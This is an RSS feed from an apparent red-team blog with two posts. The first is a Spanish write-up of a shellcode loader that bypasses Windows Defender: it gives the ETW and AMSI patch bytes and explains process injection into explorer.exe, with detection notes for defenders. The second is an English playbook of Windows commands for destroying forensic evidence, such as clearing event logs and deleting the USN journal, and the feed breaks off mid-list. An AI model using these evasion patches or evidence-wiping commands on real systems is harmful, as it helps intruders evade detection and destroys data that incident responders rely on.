<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Red Ghost Ops - Advanced Red Teaming & Evasion Research]]></title><description><![CDATA[Deep dives into modern offensive security, advanced evasion techniques, and sophisticated adversary simulation. Practical Red Teaming for the modern landscape.]]></description><link>https://redghostops.com</link><image><url>https://cdn.hashnode.com/uploads/logos/690c64913ff755ea4fc5493f/82309656-6fd6-46d4-a4b3-c9b1618d93a2.png</url><title>Red Ghost Ops - Advanced Red Teaming &amp; Evasion Research</title><link>https://redghostops.com</link></image><generator>RSS for Node</generator><lastBuildDate>Tue, 14 Apr 2026 12:52:34 GMT</lastBuildDate><atom:link href="https://redghostops.com/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[RexLDR | Anatomía de un Shellcode Loader Moderno: Técnicas, Evidencia y Perspectiva Dual]]></title><description><![CDATA[El 90% de los loaders mueren en los primeros 30 segundos

Dato de contexto antes de entrar en materia: según la telemetría de Microsoft Cyber Signals 2025, más del 90% de los intentos de inyección de ]]></description><link>https://redghostops.com/rexldr-anatom-a-de-un-shellcode-loader-moderno-t-cnicas-evidencia-y-perspectiva-dual</link><guid isPermaLink="true">https://redghostops.com/rexldr-anatom-a-de-un-shellcode-loader-moderno-t-cnicas-evidencia-y-perspectiva-dual</guid><dc:creator><![CDATA[Marco Carola]]></dc:creator><pubDate>Sun, 12 Apr 2026 06:09:20 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/690c64913ff755ea4fc5493f/740841ff-c8f6-4ecd-8032-c7b29423a8e5.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<blockquote>
<h2>El 90% de los loaders mueren en los primeros 30 segundos</h2>
</blockquote>
<p>Dato de contexto antes de entrar en materia: según la telemetría de Microsoft Cyber Signals 2025, más del 90% de los intentos de inyección de proceso basados en herramientas públicas son neutralizados antes de que el payload complete la ejecución. Ese número suena alto hasta que ves el código de lo que está usando la mayoría. La tríada <code>VirtualAllocEx</code> → <code>WriteProcessMemory</code> → <code>CreateRemoteThread</code>, documentada en posts de 2012, sigue siendo el patrón central de prácticamente todos los loaders genéricos que circulan. Nadie la cambió porque funcionaba. Ahora no funciona y siguen sin cambiarla.</p>
<p>Este post no es una guía de bypass de AV en cinco pasos. Hay cincuenta de esos y todos envejecen mal. Lo que vas a leer es la documentación técnica de RexLDR, el loader que usé en un engagement el 11 de abril de 2026 para abrir una sesión Meterpreter en Windows 11 con Defender activo. Explico qué hace cada técnica, qué hubiera detectado Defender si no estuviera implementada, qué ve el Blue Team igualmente a pesar del bypass, y dónde falla el loader, porque ninguno es perfecto y fingir que sí lo es es la señal más clara de que alguien no entiende lo que hace.</p>
<hr />
<h2>Por qué los loaders genéricos siguen fallando</h2>
<p>Windows Defender opera en dos capas y hay que considerar las dos al mismo tiempo.</p>
<p>La primera es análisis estático: escanea el binario antes de ejecutarlo buscando importaciones sospechosas en el IAT, strings reconocibles, secciones con alta entropía. La mayoría de loaders genéricos mueren aquí porque nadie se molesta en ocultar los imports.</p>
<p>La segunda capa es comportamental. Una vez en ejecución, monitoriza llamadas a APIs, telemetría ETW, patrones de acceso a memoria. Esta es la parte difícil porque para evadirla hay que entender exactamente qué está observando el motor, no solo saber qué funciones llamas.</p>
<p>RexLDR ataca las dos capas. Lo que sigue es la explicación técnica.</p>
<hr />
<h2>Punto de partida</h2>
<p>Antes de entrar en la arquitectura, contexto importante: la base de RexLDR la saqué del repositorio de 7h3w4lk3r en <a href="https://github.com/7h3w4lk3r/RexLdr">https://github.com/7h3w4lk3r/RexLdr</a>. El loader original ya tenía la estructura correcta y algunas ideas buenas, pero en entornos con Defender actualizado a 2026 detectaba sin problemas. Lo que hice fue partir de esa base y añadir las capas de evasión que se documentan en este post: el PEB Walker completo para eliminar imports del IAT, RC4 propio para quitar la dependencia de Advapi32, ETW y AMSI patching, la detección de sandbox, y cambiar la inyección clásica por MapView. El resultado final es diferente en lo que importa, que es el bypass, pero el crédito del punto de partida es suyo. En este mundillo hay demasiada gente que toma trabajo ajeno sin mencionarlo.</p>
<hr />
<h2>Arquitectura del loader</h2>
<p>La secuencia de ejecución está diseñada para reducir la superficie de detección en cada paso:</p>
<pre><code class="language-plaintext">[Sandbox check] ---- falla ----&gt; [Exit limpio sin IOC]
      |
      v
[ETW patch]            -&gt; Silenciar telemetría de user-mode
      |
      v
[AMSI patch]           -&gt; Desactivar escaneo en proceso actual
      |
      v
[Sleep + timing check] -&gt; Anti-aceleración de sandbox
      |
      v
[RC4 decrypt]          -&gt; Payload en memoria, solo en runtime
      |
      v
[PEB Walker]           -&gt; Resolver funciones NT sin imports visibles
      |
      v
[NtQuerySystemInformation] -&gt; Localizar explorer.exe sin APIs ruidosas
      |
      v
[NtCreateSection + NtMapViewOfSection] -&gt; Inyección sin tríada clásica
      |
      v
[NtCreateThreadEx]     -&gt; Ejecución en proceso remoto
</code></pre>
<p>Cada bloque tiene una razón de ser. Voy por partes.</p>
<hr />
<img src="https://cdn.hashnode.com/uploads/covers/690c64913ff755ea4fc5493f/27eb5fa4-c646-4c5d-8eab-c58ba277aa8e.png" alt="" style="display:block;margin:0 auto" />

<h2>Las técnicas</h2>
<h3>PEB Walker: la base de todo lo demás</h3>
<p>Empiezo por aquí porque el resto del loader depende de esto.</p>
<p>El problema con llamar a <code>GetProcAddress</code> y <code>GetModuleHandle</code> directamente es que aparecen en el IAT del binario. Cualquier motor estático que mire el binario ve "este proceso importa <code>NtCreateThreadEx</code>, <code>NtMapViewOfSection</code> y <code>NtQuerySystemInformation</code>" y ya sabe lo que está pasando antes de que el programa arranque. Ni siquiera necesita ejecutarlo.</p>
<p>El PEB Walker resuelve eso caminando manualmente la estructura PEB del proceso: <code>PEB → Ldr → InMemoryOrderModuleList</code>, que contiene la lista de módulos cargados. Se itera sobre ellos, se comparan hashes de los nombres de funciones exportadas, y se obtiene la dirección de lo que necesitas sin que esa dependencia aparezca en ningún sitio del binario.</p>
<p>Resultado práctico: el IAT del loader no tiene ni una importación sospechosa. Si alguien lo abre con PEBear, ve un binario que aparentemente no hace nada interesante. Para el análisis estático, es invisible.</p>
<p>Lo que sí ve el Blue Team con Sysmon bien configurado es el comportamiento en runtime. Los accesos a memoria resultantes de la resolución de funciones son visibles, y las llamadas a esas funciones una vez resueltas las captura cualquier EDR con kernel hooks. El PEB Walker protege del análisis estático, no del comportamental.</p>
<p>Consideré indirect syscalls (Hell's Gate) como alternativa más sigilosa: elimina la dependencia de ntdll completamente. Es el siguiente nivel lógico pero requiere mapear syscall numbers para cada versión de Windows. Para este engagement el PEB Walker era suficiente. Hell's Gate está en el roadmap.</p>
<blockquote>
<p><strong>Para el Blue Team:</strong> La ausencia de imports en el IAT combinada con comportamiento de inyección posterior es en sí misma una señal. EDR con kernel hooks capturan las llamadas NT independientemente de lo que diga el IAT. En MDE, la telemetría de API calls la registra el Kernel Sensor aunque el IAT esté vacío.</p>
</blockquote>
<p><em>Referencias:</em> Sektor7 Institute, "Malware Development Essentials". Hasherezade, "Process Doppelgänging", BlackHat EU 2017. MITRE ATT&amp;CK T1055.</p>
<hr />
<h3>RC4 propio: eliminar la dependencia de Advapi32</h3>
<p>Hay una forma de cifrar el payload que delata al loader antes de ejecutarlo: usar <code>SystemFunction032</code> de <code>Advapi32.dll</code>. Es la función que implementa RC4 en Windows y aparece en el IAT de tantos loaders maliciosos que es firma conocida. Si está en tus imports junto con comportamiento de inyección, ya estás marcado.</p>
<p>La solución es implementar RC4 tú mismo. KSA + PRGA en C puro son unas 30 líneas. El payload viaja cifrado dentro del binario y se descifra en runtime sin tocar ninguna API del sistema para ello.</p>
<p>Hay un precio que pagar. El shellcode descifrado en memoria es detectable si hay un barrido de memoria en el momento adecuado. Defender hace escaneos periódicos en algunos contextos y una vez que el payload está en claro, las firmas de Meterpreter aplican perfectamente. El bypass es efectivo en el momento de la inyección, pero si alguien hace un dump de memoria con pe-sieve o malfind después de que el loader ya corrió, el shellcode está ahí sin cifrar.</p>
<p>Por qué RC4 y no AES o XOR puro: AES requeriría más código o dependencias. XOR puro es demasiado débil contra análisis de entropía porque mantiene patrones estadísticos detectables. RC4 implementado en C sin dependencias externas es el balance correcto aquí.</p>
<blockquote>
<p><strong>Para el Blue Team:</strong> YARA sobre procesos en ejecución captura el shellcode una vez descifrado. Binario con alta entropía más ausencia de imports típicos más comportamiento de inyección posterior es una señal correlacionable en cualquier SIEM. La entropía alta por sí sola no es suficiente, pero combinada con lo demás, sí.</p>
</blockquote>
<p><em>Referencias:</em> ESET Research, análisis del implante Shlayer (2020). VirusBulletin 2019, "Bypassing Antivirus with Shellcode Encryption". MITRE ATT&amp;CK T1027.</p>
<hr />
<h3>String obfuscation: un detalle pequeño que importa</h3>
<p><code>explorer.exe</code> no aparece como string en el binario. Se construye carácter a carácter en runtime. Parece una medida menor, pero los motores estáticos modernos correlacionan strings de nombres de proceso legítimos con imports de APIs de inyección para inferir intención antes de la ejecución. Si el nombre del proceso objetivo está en claro, es una señal más que se acumula.</p>
<p>La construcción es manual porque MSVC con optimizaciones Release a veces convierte arrays de caracteres de vuelta a strings literales dependiendo del contexto. Hacerlo a mano garantiza que no hay regresiones de compilación.</p>
<p>Lo que sigue siendo visible: Sysmon Event ID 10 registra cuando un proceso abre otro con determinados flags de acceso. El acceso a <code>explorer.exe</code> con flags de creación de hilos es completamente visible independientemente de cómo se construyó el nombre en el código. La obfuscación de strings protege del análisis estático, no del comportamental.</p>
<blockquote>
<p><strong>Para el Blue Team:</strong> Sysmon Event ID 10 con <code>TargetImage = explorer.exe</code> y <code>GrantedAccess</code> con flags de PROCESS_CREATE_THREAD desde procesos no firmados por Microsoft es una señal de alta fidelidad. Pocos procesos legítimos necesitan abrir explorer.exe con esos derechos.</p>
</blockquote>
<hr />
<h3>ETW patching: lo que funciona y lo que no</h3>
<p>ETW es la infraestructura de telemetría que alimenta gran parte de lo que ven los EDR. <code>EtwEventWrite</code> en ntdll.dll es la función que publica esos eventos. El patch es un byte: escribir <code>0xC3</code> (RET) al inicio de la función hace que retorne inmediatamente sin publicar nada.</p>
<p>Sin este patch, el provider <code>Microsoft-Windows-Threat-Intelligence</code> (GUID: <code>F4E1897C-BB5D-5668-F1D8-040F4D8DD344</code>) generaría eventos críticos sobre las operaciones de inyección: <code>KERNEL_THREATINT_TASK_MAPVIEW_REMOTE</code>, <code>KERNEL_THREATINT_TASK_CREATETHREADEX_REMOTE</code>. Esos eventos los consume Defender en tiempo real para detectar inyección de proceso.</p>
<p>Aquí hay que ser honesto sobre la limitación porque es importante. Ese provider opera <strong>parcialmente en kernel mode</strong> a través de callbacks ELAM. El patch de user-mode de <code>EtwEventWrite</code> en ntdll afecta solo a los eventos generados desde user-mode en el proceso actual. Los callbacks de kernel no los toca. Si el entorno tiene MDE con Kernel Sensor habilitado, mantiene visibilidad sobre las operaciones de inyección independientemente de este patch. El entorno de pruebas de este engagement era Windows Defender standalone, sin MDE. Esa distinción importa mucho.</p>
<p>Otra cosa que el Blue Team puede ver: el propio acto de parchear EtwEventWrite. Sysmon Event ID 25 (ProcessTampering) puede capturarlo en entornos con esa configuración activa.</p>
<blockquote>
<p><strong>Para el Blue Team:</strong> Sysmon Event ID 25 para ProcessTampering sobre ntdll.dll. Con MDE P2, el Kernel Sensor da cobertura independiente del ETW de user-mode. Sigma rule de referencia: <code>win_susp_etw_patching</code> en SigmaHQ.</p>
</blockquote>
<p><em>Referencias:</em> MDSec Research, "Blinding EDR On Windows" (2020). Elastic Security Labs, "Detecting and Defeating ETW Bypass" (2022). MITRE ATT&amp;CK T1562.006.</p>
<hr />
<h3>AMSI patching: relevante aunque este sea un loader en C</h3>
<p>Para un loader en C puro que no usa scripting engines, AMSI importa menos que en un loader PowerShell. Pero se parchea por consistencia y porque si el entorno objetivo tiene integraciones personalizadas del AMSI provider, la capa existe.</p>
<p>El patch escribe <code>xor eax, eax; ret</code> (<code>0x31 0xC0 0xC3</code>) al inicio de <code>AmsiScanBuffer</code> en amsi.dll. La función retorna siempre <code>AMSI_RESULT_CLEAN</code>.</p>
<p>Una nota de vigencia: Windows 11 22H2 añadió protecciones adicionales contra modificación de amsi.dll en contextos Protected Processes Light. El patch funcionó en el entorno de pruebas específico. Los resultados varían según la build exacta de Windows.</p>
<blockquote>
<p><strong>Para el Blue Team:</strong> Monitorizar escrituras en páginas de código de amsi.dll mediante driver de seguridad. ScriptBlock Logging (Event ID 4104) en entornos con PowerShell o .NET. Sigma rule: <code>win_susp_amsi_bypass</code> en SigmaHQ.</p>
</blockquote>
<p><em>Referencias:</em> Matt Graeber (@mattifestation), bypass original vía reflexión .NET (2016). CyberArk Research, "AMSI Bypass: Patching Technique" (2018).</p>
<hr />
<h3>Sandbox detection: calibrar los umbrales cuesta más de lo que parece</h3>
<p>Los sandboxes automatizan el análisis de dos formas: acelerando el tiempo de ejecución, y corriendo en entornos mínimos con pocos recursos.</p>
<p>RexLDR implementa las dos contra-medidas. Para el timing: <code>NtDelayExecution</code> 5 segundos, luego comparar el tick count actual con el esperado. Si hay aceleración de tiempo, el delta es anómalamente bajo y el loader sale sin ejecutar nada. Para la detección de entorno: CPU cores menores de 1 (salida), RAM disponible menor de 1 GB (salida), procesos activos menores de 10 (salida).</p>
<p>Lo que parece sencillo tiene su parte complicada en la práctica. Los umbrales iniciales que usé (cores ≤ 2, RAM &lt; 4 GB, procs &lt; 25) me daban falsos positivos en mis propias VMs de laboratorio. Tuve que bajarlos bastante. El punto es que cada entorno es diferente y los umbrales hay que calibrarlos contra el entorno objetivo real, no contra una VM genérica de referencia.</p>
<p>Los sandboxes modernos han evolucionado para lidiar con esto. Microsoft Intelligent Security Graph ejecuta algunas muestras durante períodos más largos. Un binario que sale limpiamente del sandbox pero tiene alta entropía es en sí mismo una señal de evasión activa, y los analistas buenos lo saben.</p>
<blockquote>
<p><strong>Para el Blue Team:</strong> Behavioral analysis que correlaciona binario con alta entropía más sleep largo más inyección posterior es mucho más efectivo que sandboxing puro. Elastic Security Labs publicó en 2023 investigación sobre detección de sleep obfuscation. Una muestra que sale limpia del sandbox pero tiene entropía alta merece análisis manual, no descarte automático.</p>
</blockquote>
<hr />
<h3>MapView injection: por qué no uso la tríada clásica</h3>
<p>La tríada <code>VirtualAllocEx</code> + <code>WriteProcessMemory</code> + <code>VirtualProtectEx</code> es básicamente una firma comportamental en sí misma. <code>Behavior:Win32/Meterpreter.gen!A</code>, la detección específica que bypaseé en este engagement, detecta entre otras cosas ese patrón de llamadas. Los eventos ETW correspondientes se generarían inmediatamente con cualquier herramienta que use esas APIs.</p>
<p>La alternativa que usa RexLDR: <code>NtCreateSection</code> + <code>NtMapViewOfSection</code>. Se crea una sección de memoria ejecutable en el kernel, se mapea localmente para escribir el payload, y luego se mapea esa misma sección en el espacio de memoria de <code>explorer.exe</code>. El shellcode nunca se "escribe" en el proceso remoto vía <code>WriteProcessMemory</code>. Se comparte a través de una sección de kernel.</p>
<p>Para la enumeración de procesos: <code>NtQuerySystemInformation(SystemProcessInformation)</code> en lugar de <code>CreateToolhelp32Snapshot</code>. Menos monitorizado, más directo.</p>
<p>Cosas que probé y descarté. Process Hollowing requiere crear un proceso suspendido, lo que genera telemetría de creación de proceso con flags de suspensión y es detección casi universal. APC injection es más ruidoso que MapView en términos de comportamiento de kernel. Thread hijacking en <code>explorer.exe</code> fue lo primero que intenté y lo tuve que abandonar: los hilos de explorer están en estado de espera en kernel (<code>WaitForMultipleObjects</code>) y redirigir el RIP resulta inconsistente. Me reventé explorer.exe un par de veces antes de entender por qué. <code>NtCreateThreadEx</code> es más predecible.</p>
<p>Lo que sí ve el Blue Team igualmente: Sysmon Event ID 10 (ProcessAccess) registra cuando el loader abre <code>explorer.exe</code> con <code>NtOpenProcess</code>. El <code>GrantedAccess</code> de <code>PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD</code> desde un proceso no firmado sobre explorer.exe es una señal de alta fidelidad. Pocos procesos legítimos necesitan hacer eso.</p>
<blockquote>
<p><strong>Para el Blue Team:</strong> Sysmon Event ID 10 con TargetImage = <code>explorer.exe</code> y GrantedAccess con flags de creación de hilos desde procesos no firmados Microsoft es detección de muy alta fidelidad con pocos falsos positivos. Correlacionado con Event ID 8 (NtCreateThreadEx) en la misma ventana de tiempo, es prácticamente confirmación. En MDE: <code>DeviceEvents | where ActionType == "CreateRemoteThreadApiCall" and InitiatingProcessFileName !in ("svchost.exe", "csrss.exe")</code>.</p>
</blockquote>
<p><em>Referencias:</em> Endgame Research, "Ten Process Injection Techniques" (2017). BlackHat USA 2019, "Process Injection Techniques - Gotta Catch Them All". MITRE ATT&amp;CK T1055.015.</p>
<hr />
<h3>NtCreateThreadEx: el último paso</h3>
<p><code>CreateRemoteThread</code> genera telemetría explícita y está monitorizada por prácticamente todo lo que se vende como EDR. <code>NtCreateThreadEx</code> es su equivalente en NT, resuelto vía PEB Walker, que opera con menos visibilidad a nivel de API de alto nivel.</p>
<p>El acceso al proceso se pide con permisos mínimos: <code>PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION</code>. Sin <code>PROCESS_ALL_ACCESS</code>, que es otra firma comportamental de alta confianza en cualquier EDR configurado correctamente.</p>
<p>Sysmon Event ID 8 puede capturar <code>NtCreateThreadEx</code> dependiendo de la configuración. Y si hay MDE con Kernel Sensor, <code>KERNEL_THREATINT_TASK_CREATETHREADEX_REMOTE</code> se genera independientemente de cómo se resuelva la función en user-mode. El acceso con los flags mencionados sobre <code>explorer.exe</code> desde un proceso no firmado es la señal más visible de todo el loader.</p>
<blockquote>
<p><strong>Para el Blue Team:</strong> Correlación de Sysmon Event ID 10 (ProcessAccess sobre explorer.exe) más Event ID 8 (NtCreateThreadEx) en ventana de tiempo corta desde el mismo proceso origen es detección prácticamente sin falsos positivos. Sigma rule: <code>proc_access_win_inject_via_ntcreatethreadex</code> en SigmaHQ.</p>
</blockquote>
<hr />
<h2>Limitaciones que vale la pena documentar</h2>
<p>Ningún loader es perfecto. Documentar las limitaciones es lo que diferencia una investigación técnica seria de un post de marketing.</p>
<p><strong>El ETW patch no afecta al Kernel Sensor de MDE.</strong> Ya se dijo, pero vale la pena repetirlo porque es la limitación más crítica. Organizaciones con MDE Plan 2 y Kernel Sensor habilitado tienen visibilidad sobre las operaciones de inyección independientemente del patch de user-mode. RexLDR no tiene mecanismos para evadir telemetría a nivel de kernel.</p>
<p><strong>Sin evasión de hooks de kernel de EDR.</strong> CrowdStrike, SentinelOne y similares ponen drivers en el kernel que hookean syscalls directamente. El PEB Walker resuelve funciones de ntdll, pero si ntdll está hookeada a nivel de kernel, esas llamadas son visibles igualmente. Indirect syscalls (Hell's Gate / Halo's Gate) mitigarían esto.</p>
<p><strong>El tráfico de red no está obfuscado.</strong> <code>meterpreter_reverse_tcp</code> usa TCP raw sobre el 4444. Sin perfil C2 personalizado y transporte HTTPS, cualquier solución NDR con firmas de Meterpreter detecta la sesión. RexLDR bypasea el endpoint pero no el monitoring de red. En un entorno con NSM maduro, la sesión es visible en red aunque el endpoint no alertara.</p>
<p><strong>En memoria, el shellcode es detectable post-ejecución.</strong> Una vez descifrado y ejecutado, las firmas de Meterpreter están en memoria sin cifrar. pe-sieve, malfind o el propio Defender en escaneo periódico los encuentran. El bypass es efectivo en el momento de la inyección, no garantiza invisibilidad indefinida.</p>
<p><strong>El proceso objetivo es predecible.</strong> Siempre <code>explorer.exe</code>. Una sola regla que alerte sobre cualquier proceso no-Microsoft abriendo explorer.exe con derechos de creación de hilos cubre esto. PPID spoofing y selección dinámica del proceso objetivo son mejoras directas.</p>
<p><strong>Sin persistencia.</strong> La sesión se pierde en reboot. Correcto para un primer acceso puntual, insuficiente para operaciones largas.</p>
<hr />
<h2>Resultados y cómo se verificó la ausencia de detección</h2>
<h3>Entorno de pruebas</h3>
<table>
<thead>
<tr>
<th>Campo</th>
<th>Valor</th>
</tr>
</thead>
<tbody><tr>
<td>Fecha</td>
<td>11 de abril de 2026</td>
</tr>
<tr>
<td>Real-time protection</td>
<td>ON</td>
</tr>
<tr>
<td>Cloud-delivered protection</td>
<td>ON</td>
</tr>
<tr>
<td>MDE</td>
<td>No presente (standalone Defender)</td>
</tr>
<tr>
<td>Payload</td>
<td>windows/x64/meterpreter_reverse_tcp stageless</td>
</tr>
<tr>
<td>Proceso objetivo</td>
<td>explorer.exe</td>
</tr>
</tbody></table>
<p>La ausencia de MDE es relevante y merece destacarse. Con MDE P2 y Kernel Sensor habilitado, el resultado no está garantizado. Las pruebas con Defender standalone no representan el nivel de detección de un entorno corporativo con MDE completo. Es importante decirlo porque muchos posts de bypass de AV no lo hacen.</p>
<h3>Logs revisados para confirmar la ausencia de detección</h3>
<p>Windows Defender Operational Log en <code>Applications and Services Logs → Microsoft → Windows → Windows Defender → Operational</code>: sin Event ID 1116 (malware detected) ni 1117 (malware action taken) durante el período de la prueba.</p>
<p>Windows Defender Threat History: sin entradas en el período.</p>
<p>Event Viewer → Security: el proceso loader aparece en Event ID 4688 (creación de proceso), sin correlaciones de alerta asociadas.</p>
<p>Process Monitor utilizado durante el desarrollo para verificar el comportamiento del loader y confirmar las llamadas NT esperadas sin terminaciones inesperadas. MDE Portal no disponible en este entorno, lo cual es una limitación del setup de pruebas que afecta a la validez de los resultados en entornos corporativos.</p>
<hr />
<h2>Sobre la vida útil de estas técnicas</h2>
<p>Cada técnica documentada aquí tiene fecha de caducidad.</p>
<p>El ETW patching de user-mode fue efectivo durante años. Microsoft está moviendo más detecciones al kernel, donde los patches de user-mode no llegan. El AMSI bypass directo de <code>AmsiScanBuffer</code> está cada vez más vigilado y aparecen protecciones adicionales en cada build nueva de Windows. MapView injection era casi desconocida en firmas comportamentales hace tres años. Hoy tiene su entrada en MITRE ATT&amp;CK como T1055.015 y hay reglas de Sigma maduras para detectarla.</p>
<p>Esto es estructural, no accidental. La detección por comportamiento obliga a los defensores a conocer exactamente qué patrón de llamadas corresponde a cada técnica. La respuesta ofensiva es bajar un nivel de abstracción: de Win32 a NT, de NT a syscalls directos, de syscalls a técnicas sobre estructuras de kernel directamente. En cada iteración, la ventana de efectividad se estrecha y el coste de desarrollo sube de forma no lineal.</p>
<p>Lo que más me interesa de este ciclo no es qué técnica específica funcionará el año que viene. Eso cambia con cada actualización. Lo que me interesa es el principio que subyace: la detección por comportamiento siempre puede ser evadida si el atacante reduce suficientemente su huella de syscalls y opera cerca del metal. Indirect syscalls eliminan la dependencia de ntdll hookeada por EDR. Exploits de kernel eliminan incluso esa dependencia. Pero a medida que bajas de nivel, el número de desarrolladores capaces de operar ahí cae exponencialmente, y la asimetría de recursos empieza a favorecer a los defensores en términos de sostenibilidad.</p>
<p>RexLDR es una fotografía de un momento concreto contra un entorno concreto. El valor no está en las técnicas, que van a envejecer, sino en documentar por qué funcionan y cuándo van a dejar de hacerlo.</p>
]]></content:encoded></item><item><title><![CDATA[Windows Anti-Forensics: Erasing Tracks to Evade Blue Team in Red Team Ops]]></title><description><![CDATA[In red team engagements, persistence is only half the battle evasion is the other. A single overlooked log, cached DNS entry, or recoverable deleted file can unravel an entire operation. This post det]]></description><link>https://redghostops.com/windows-anti-forensics-erasing-tracks-to-evade-blue-team-in-red-team-ops</link><guid isPermaLink="true">https://redghostops.com/windows-anti-forensics-erasing-tracks-to-evade-blue-team-in-red-team-ops</guid><dc:creator><![CDATA[Marco Carola]]></dc:creator><pubDate>Thu, 06 Nov 2025 12:11:37 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/690c64913ff755ea4fc5493f/3d2596ee-5e08-4dba-b09c-cee8b982d1de.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>In red team engagements, persistence is only half the battle evasion is the other. A single overlooked log, cached DNS entry, or recoverable deleted file can unravel an entire operation. This post details a battle-tested sequence of native Windows commands designed to <strong>systematically erase forensic artifacts</strong> while minimizing noise and maximizing coverage.</p>
<p>These commands target:</p>
<ul>
<li><p>Red Ghost OpsFree spaceRed Ghost Ops (unrecoverable deletion)</p>
</li>
<li><p>Red Ghost OpsEvent logsRed Ghost Ops</p>
</li>
<li><p>Red Ghost OpsDNS cacheRed Ghost Ops</p>
</li>
<li><p>Red Ghost OpsBrowser artifactsRed Ghost Ops</p>
</li>
<li><p>Red Ghost OpsNTFS metadata (USN Journal)Red Ghost Ops</p>
</li>
<li><p>Red Ghost OpsTemp files, prefetch, print spoolRed Ghost Ops</p>
</li>
<li><p>Red Ghost OpsTelemetry and error reportingRed Ghost Ops</p>
</li>
</ul>
<blockquote>
<p>Warning (Red Team Disclaimer): Use only in authorized engagements. These actions are irreversible and may trigger EDR alerts if not executed with proper OPSEC.</p>
</blockquote>
<hr />
<h2>1. Overwrite Free Space – Prevent File Recovery</h2>
<pre><code class="language-plaintext">cipher /w:C:\
</code></pre>
<ul>
<li><p><strong>Purpose</strong>: Overwrites <strong>all free space</strong> on C:\ with 0x00, 0xFF, and random data (3-pass pattern).</p>
</li>
<li><p><strong>Impact</strong>: Deleted files become <strong>unrecoverable</strong> by forensic tools (Recuva, Autopsy, etc.).</p>
</li>
<li><p><strong>Risk</strong>: High I/O and CPU usage. <strong>Slow</strong> (hours on large drives). No effect on active files.</p>
</li>
<li><p><strong>Blue Team Counter</strong>: Volume Shadow Copies (VSS) may still contain prior snapshots.</p>
</li>
</ul>
<h2>2. Flush DNS Cache – Break Local Resolution Trails</h2>
<pre><code class="language-plaintext">ipconfig /flushdns
</code></pre>
<ul>
<li><p><strong>Purpose</strong>: Clears locally cached DNS resolutions.</p>
</li>
<li><p><strong>Impact</strong>: Forces fresh DNS queries—removes evidence of C2 domains accessed.</p>
</li>
<li><p><strong>Risk</strong>: Low. May cause brief connectivity delays.</p>
</li>
<li><p><strong>Blue Team Counter</strong>: Network logs (firewall, DNS server) remain untouched.</p>
</li>
</ul>
<hr />
<h2>3. Clear System Event Log</h2>
<pre><code class="language-plaintext">wevtutil cl System
</code></pre>
<ul>
<li><p><strong>Purpose</strong>: <strong>Permanently deletes</strong> the System event log.</p>
</li>
<li><p><strong>Impact</strong>: Removes boot, driver, service, and security events.</p>
</li>
<li><p><strong>Risk</strong>: <strong>Irreversible</strong>. Breaks incident timeline reconstruction.</p>
</li>
<li><p><strong>Blue Team Counter</strong>: SIEM ingestion prior to clear; Event Log backup services.</p>
</li>
</ul>
<hr />
<h2>4. Wipe IE/Edge Legacy Browser Artifacts</h2>
<pre><code class="language-plaintext">RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 255
</code></pre>
<ul>
<li><p><strong>Purpose</strong>: Deletes <strong>history, cookies, cache, passwords, form data</strong> from IE/Edge (legacy).</p>
</li>
<li><p><strong>Impact</strong>: Covers web-based C2 (e.g., Empire over HTTP).</p>
</li>
<li><p><strong>Risk</strong>: Low. Affects only IE/Edge components.</p>
</li>
<li><p><strong>Blue Team Counter</strong>: Modern Edge (Chromium) uses different storage—use browser-specific tools.</p>
</li>
</ul>
<hr />
<h2>5. Delete NTFS USN Change Journal</h2>
<pre><code class="language-plaintext">fsutil usn deletejournal /d /n C:
</code></pre>
<ul>
<li><p><strong>Purpose</strong>: Erases the <strong>USN Journal</strong> ($UsnJrnl), which tracks file creation/modification/deletion.</p>
</li>
<li><p><strong>Impact</strong>: Breaks <strong>incremental backups</strong>, file indexing (Search, antivirus), and timeline analysis.</p>
</li>
<li><p><strong>Risk</strong>: <strong>High</strong>—may corrupt backup chains or trigger AV rescans.</p>
</li>
<li><p><strong>Blue Team Counter</strong>: Journal may auto-recreate on next change; prior entries lost.</p>
</li>
</ul>
<hr />
<h2>6. Clear User Temp Files</h2>
<pre><code class="language-plaintext">del /f /s /q %TEMP%\*.*
</code></pre>
<ul>
<li><p><strong>Purpose</strong>: Force-deletes all files in the user’s temp directory.</p>
</li>
<li><p><strong>Impact</strong>: Removes payloads, scripts, or tools staged in %TEMP%.</p>
</li>
<li><p><strong>Risk</strong>: Low–moderate. Running apps may crash if files are in use.</p>
</li>
<li><p><strong>Blue Team Counter</strong>: File access monitoring (Sysmon Event ID 11) may log before deletion.</p>
</li>
</ul>
<hr />
<h2>7. Disable Hibernation &amp; Delete hiberfil.sys</h2>
<pre><code class="language-plaintext">powercfg /hibernate off
</code></pre>
<ul>
<li><p><strong>Purpose</strong>: Removes hiberfil.sys (size ≈ RAM), a common forensic goldmine (contains RAM dump).</p>
</li>
<li><p><strong>Impact</strong>: Frees space; prevents hibernation.</p>
</li>
<li><p><strong>Risk</strong>: Reversible (powercfg /hibernate on). Disables Fast Startup.</p>
</li>
<li><p><strong>Blue Team Counter</strong>: None if executed post-exfiltration.</p>
</li>
</ul>
<hr />
<h2>8. Reset TCP/IP Stack</h2>
<pre><code class="language-plaintext">netsh interface ipv4 reset
</code></pre>
<ul>
<li><p><strong>Purpose</strong>: Clears custom IP/DNS settings, proxy configs, and interface state.</p>
</li>
<li><p><strong>Impact</strong>: Useful after using static routes or proxychains.</p>
</li>
<li><p><strong>Risk</strong>: Requires reconfig or reboot. May break VPNs.</p>
</li>
<li><p><strong>Blue Team Counter</strong>: Netflow or interface config logs.</p>
</li>
</ul>
<hr />
<h2>9. Clear Print Spooler Queue</h2>
<pre><code class="language-plaintext">del /q /f /s %systemroot%\System32\spool\PRINTERS\*
</code></pre>
<ul>
<li><p><strong>Purpose</strong>: Deletes pending print jobs (often contain sensitive docs or stagers).</p>
</li>
<li><p><strong>Impact</strong>: Cancels all print jobs.</p>
</li>
<li><p><strong>Risk</strong>: Low. May require spooler restart if files locked.</p>
</li>
